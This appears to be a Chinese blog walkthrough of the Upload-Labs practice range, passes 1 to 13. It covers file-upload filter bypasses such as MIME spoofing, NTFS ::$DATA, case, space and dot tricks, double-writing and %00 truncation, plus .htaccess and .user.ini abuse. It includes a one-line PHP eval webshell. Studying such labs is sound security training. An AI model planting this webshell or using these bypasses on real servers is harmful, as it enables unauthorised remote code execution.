《Upload-Labs》01. Pass 1~13
Upload-Labs
- 索引
- 前言
- Pass-01
- 题解
 
- Pass-02
- 题解
- 总结
 
- Pass-03
- 题解
- 总结
 
- Pass-04
- 题解
 
- Pass-05
- 题解
- 总结
 
- Pass-06
- 题解
- 总结
 
- Pass-07
- 题解
- 总结
 
- Pass-08
- 题解
- 总结
 
- Pass-09
- 题解
 
- Pass-10
- 题解
 
- Pass-11
- 题解
 
- Pass-12
- 题解
- 总结
 
- Pass-13
- 题解
 
靶场部署在 VMware - Win7。
靶场地址:https://github.com/c0ny1/upload-labs
部分题目可能需要白盒审计。
索引
- Pass-01:前端绕过。
- Pass-02:MIME-Type 绕过。
- Pass-03:黑名单绕过之 ::$DATA与双写绕过。
- Pass-04:.htaccess 利用。
- Pass-05:.user.ini 利用。
- Pass-06:黑名单绕过之大小写绕过。
- Pass-07:黑名单绕过之空格绕过。
- Pass-08:黑名单绕过之点【.】绕过。
- Pass-09:黑名单绕过之 ::$DATA绕过。
- Pass-10:黑名单绕过之点空格点绕过。
- Pass-11:黑名单绕过之双写绕过。
- Pass-12:白名单绕过之 %00截断绕过,GET 方式。
- Pass-13:白名单绕过之 %00截断绕过,POST 方式。
前言
编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。
<?php echo 'Hello!';@eval($_POST['hello']);
?>

相关文章:
《一句话木马@eval($_POST[“cmd“]);是什么意思》:
 https://blog.csdn.net/qq_62708558/article/details/123030828
Pass-01
题解
任何前端验证都是纸老虎。
上传时使用 burp 拦截,并将文件后缀修改回 .php。

上传成功,右键查看文件地址。

木马已成功执行。

尝试蚁剑连接,成功。

Pass-02
题解
上传文件并进行后缀与 Content-Type 绕过。

上传成功。

总结
MIME-Type,资源媒体类型。
MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。
- MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
- 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
- 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。 - 例如:Content-Type: text/html
 
- 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。
常见的 MIME 类型:
- 超文本标记语言文本(.html、.htm):
 text/html
- 普通文本(.txt):
 text/plain
- RTF 文本(.rtf):
 application/rtf
- GIF 图形(.gif):
 image/gif
- JPEG 图形(.jpeg、.jpg):
 image/jpeg
- au 声音文件(.au):
 audio/basic
- MIDI 音乐文件(.mid、.midi):
 audio/midi, audio/x-midi
- RealAudio音乐文件(.ra、.ram):
 audio/x-pn-realaudio
- MPEG 文件(.mpg, .mpeg):
 video/mpeg
- AVI 文件(.avi):
 video/x-msvideo
- GZIP 文件(.gz):
 application/x-gzip
- TAR 文件(.tar):
 application/x-tar
Pass-03
题解
之前的方法均失败。不过仍然是黑名单过滤。
由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA。
上传成功但无法访问。

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):
.php::$D::$DATAATA

上传成功。

总结
::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。
NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。
Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。
例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php。
除此以外,服务端对不合法的后缀名进行替换为空是常用手段。
Pass-04
题解
这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。
创建一个 .htaccess 文件并写入以下内容。
<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。
但是失败了。可能实现条件比较苛刻。
这里附上几篇参考文章:
《文件上传-uploadlab通关手册》:
 https://blog.csdn.net/qq_51153463/article/details/124547943
《upload-labs通关总结|那些年踩过的坑》:
 https://blog.csdn.net/m0_56691564/article/details/127614557
Pass-05
题解
已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。
先上传如下 .user.ini 文件。
auto_prepend_file=520.jpg

再上传木马,之后访问 readme.php 文件即可。

总结
参考文章:
《【文件上传漏洞】user.ini留后门》:
 https://blog.csdn.net/weixin_53146913/article/details/124840296
《文件上传:.user.ini的妙用》:
 https://blog.csdn.net/weixin_52635170/article/details/126962920
Pass-06
题解
上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

之后复制链接访问即可。
总结
对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。
Pass-07
题解
使用空格绕过。
抓包修改后缀名,在文件名最后加上一个空格。

之后访问即可。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-08
题解
使用点绕过。在文件名最后加上一个点。

上传成功。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-09
题解
原理与 Pass-03 相同,::$DATA 绕过。

Pass-10
题解
点空格点绕过(利用验证规则不完善)。

Pass-11
题解
双写绕过。

服务端对不合法的后缀名进行替换为空是常用手段。
Pass-12
题解
这题通过代码审计可以发现发现 $img_path 变量可控。
使用 %00 截断,让后面的代码不执行。


总结
%00 截断:
- 利用手动添加字符串标识符的方式来将后面的内容进行截断。
- PHP <= 5.3.4。
- php.ini 文件中 magic_quotes_gpc = Off。
Pass-13
题解
与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。
POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。
——《刘子》(北齐)刘子
相关文章:
 
《Upload-Labs》01. Pass 1~13
Upload-Labs 索引前言Pass-01题解 Pass-02题解总结 Pass-03题解总结 Pass-04题解 Pass-05题解总结 Pass-06题解总结 Pass-07题解总结 Pass-08题解总结 Pass-09题解 Pass-10题解 Pass-11题解 Pass-12题解总结 Pass-13题解 靶场部署在 VMware - Win7。 靶场地址:https…...
v-for中的key
在Vue中,当使用v-for指令循环渲染元素时,添加:key是一个推荐做法,尤其是在循环的元素可能会被重新排序、添加或删除的情况下。 :key的作用是为每个循环的元素提供一个唯一的标识符,以便Vue能够跟踪和管理这些元素的状态。Vue使用…...
 
MySQL学习笔记17
MySQL权限管理grant: 权限说明: Table 6.2 Permissible Privileges for GRANT and REVOKE PrivilegeGrant Table ColumnContextALL [PRIVILEGES]Synonym for “all privileges”Server administrationALTERAlter_privTablesALTER ROUTINEAlter_routin…...
 
跨境电商建站:选择域名需要注意什么?
在跨境电商建站过程中,选择一个合适的域名至关重要,尤其是对于跨境电商独立站来说,它对未来的seo排名和品牌建设都有着重要影响。关于本文,我会先从域名的定义开始,到域名选择的重要性,再到如何选择一个完美…...
jupyterlab
1. 环境:linux 环境(基于ubuntu-fork 镜像实现) 2. pip install jupyter notebook 3. 编译jupyterlab源代码必须使用 node 14.21.3 高版本编译报错#下载 node 14.21.3 :wget https://nodejs.org/download/release/latest-v14.x/node-v14.21.…...
 
Oracle的递归公共表表达式
查询节点id为2的所有子节点的数据,包括向下级联 WITH T1 (id, parent_id, data) AS (SELECT id, parent_id, dataFROM nodesWHERE id 2UNION ALLSELECT t.id, t.parent_id, t.dataFROM nodes tJOIN T1 n ON t.parent_id n.id ) SELECT * FROM T1; --建表语句 C…...
解决antd vue ts v-model:value绑定Boolean布尔类型爆红但可以使用
没啥好写的,写点注意点把 前言:在 antd vue中需要用到对应的类型转换,v-model后面补一个value来表明类型,但这也是默认类型,并不是指定类型默认是 (property) value?: string | number | undefined 字符,…...
 
zblog插件大全-zblog免费插件
在当今数字化时代,拥有一个精彩的博客或网站已经成为许多人追求的目标。通过博客,我们可以分享知识、表达观点,甚至创造收入。然而,维持一个充满新鲜内容的博客却不是一件容易的事情。 ZBlog自动采集插件 什么是ZBlog自动采集插件…...
思科、华为、华三、锐捷网络设备巡检命令
下面为四种设备巡检命令,以便日常查阅: 华三 screen-length disable 取消分页 displayversion 查看版本 display clock 查看日期时钟 display fan 查看风扇状态 display power 查看电源信息 display cpu-usage 查看CPU利用率 display memory 查看…...
 
正则表达式贪婪模式和非贪婪模式
一、贪婪模式 贪婪模式表示尽可能多的匹配字符串,正则表达式六个量词元字符?、、*、{n}、{n,m}、{n,}默认是贪婪模式 接下来引入一个场景来分析说明 获取html a标签href属性的值 <a href"https://www.baidu.com/" attr"abc"></a>…...
 
借助 ControlNet 生成艺术二维码 – 基于 Stable Diffusion 的 AI 绘画方案
背景介绍 在过去的数月中,亚马逊云科技已经推出了多篇博文,来介绍如何在亚马逊云科技上部署 Stable Diffusion,或是如何结合 Amazon SageMaker 与 Stable Diffusion 进行模型训练和推理任务。 为了帮助客户快速、安全地在亚马逊云科技上构建、…...
 
Codeforces Round 892 (Div. 2) - E. Maximum Monogonosity 思维dp 详细解析
题目链接 好久没有写题了复健一下qwq 题目大意 解题思路 这题目还挺妙的 首先考虑比较正常的dp, d p [ i ] [ j ] dp[i][j] dp[i][j] 为前 i i i的长度选 j j j个长度的最大价值,那么转移方程是: 图片来自:图片来源 但是这个是 …...
R语言中的数据重塑
文章目录 介绍reshape2::melt()的用法实例 reshape2::dcast()的用法实例 tidyr::gather()的用法tidyr::spread()的用法 介绍 tidyverse系列包中的函数操作都是针对简洁数据框进行的,对于不是简洁的数据,实现需要进行数据重塑。数据重塑主要包括长宽表的…...
 
基于Java实现的社区团购系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言系统功能具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding)有保障的售后福利 代码参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域…...
 
nodejs+vue网上婚纱购物系统elementui
便了用户足不出门也能进行购物的理念,方便了婚纱影楼的对商品的进一步管理,互联网成为人们快速获取、发布、和传递信息的重要渠道,它在人们政治、经济、生活等各个方面发挥着重要的作用。未来的时代是网络信息的时代,“网上生活方式”是人类今…...
 
【2023集创赛】加速科技杯三等奖作品:私密性高精度刷手身份认证系统
本文为2023年第七届全国大学生集成电路创新创业大赛(“集创赛”)加速科技杯三等奖作品分享,参加极术社区的【有奖征集】分享你的2023集创赛作品,秀出作品风采,分享2023集创赛作品扩大影响力,更有丰富电子礼…...
 
1500*C. Kefa and Park(dfstree)
Kefa and Park - 洛谷 Problem - 580C - Codeforces Examples input 4 1 1 1 0 0 1 2 1 3 1 4 output 2 input 7 1 1 0 1 1 0 0 0 1 2 1 3 2 4 2 5 3 6 3 7 output 2 解析: dfs遍历,记录前一个结点权值是否为1,并且累计路径1的个数…...
 
【2023保研】双非上岸东南网安
个人情况 学校:henu 专业:信息安全 排名:1/66 英语:六级500 竞赛:蓝桥杯PB国一,ISCC国一,密码数学挑战赛国三,还有其他一些省级水奖 论文:一篇EI在投(三作通…...
Redis与Mybatis
作者在学习Redis整合时使用JDBC与Jedis,但是呢,现如今的环境下,Mybatis系列ORM框架是更受关注的方法,作者有一点点Mybatis基础,Mybatisplus几乎忘的差不多了,现对Redis整合Mybatis相关知识进行梳理…...
 
MySQL架构 InnoDB存储引擎
1. 什么是Mysql? 我们在开发的时候,我们都需要对业务数据进行存储,这个时候,你们就会用到MySQL、Oracal等数据库。 MySQL它是一个关系型数据库,这种关系型数据库就有Oracal、 MySQL,以及最近很火的PgSQL等。…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
synchronized 学习
学习源: https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖,也要考虑性能问题(场景) 2.常见面试问题: sync出…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...
 
《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
 
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
 
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析
Java求职者面试指南:Spring、Spring Boot、Spring MVC与MyBatis技术解析 一、第一轮基础概念问题 1. Spring框架的核心容器是什么?它的作用是什么? Spring框架的核心容器是IoC(控制反转)容器。它的主要作用是管理对…...
k8s从入门到放弃之HPA控制器
k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率(或其他自定义指标)来调整这些对象的规模,从而帮助应用程序在负…...
LangChain 中的文档加载器(Loader)与文本切分器(Splitter)详解《二》
🧠 LangChain 中 TextSplitter 的使用详解:从基础到进阶(附代码) 一、前言 在处理大规模文本数据时,特别是在构建知识库或进行大模型训练与推理时,文本切分(Text Splitting) 是一个…...
前端调试HTTP状态码
1xx(信息类状态码) 这类状态码表示临时响应,需要客户端继续处理请求。 100 Continue 服务器已收到请求的初始部分,客户端应继续发送剩余部分。 2xx(成功类状态码) 表示请求已成功被服务器接收、理解并处…...
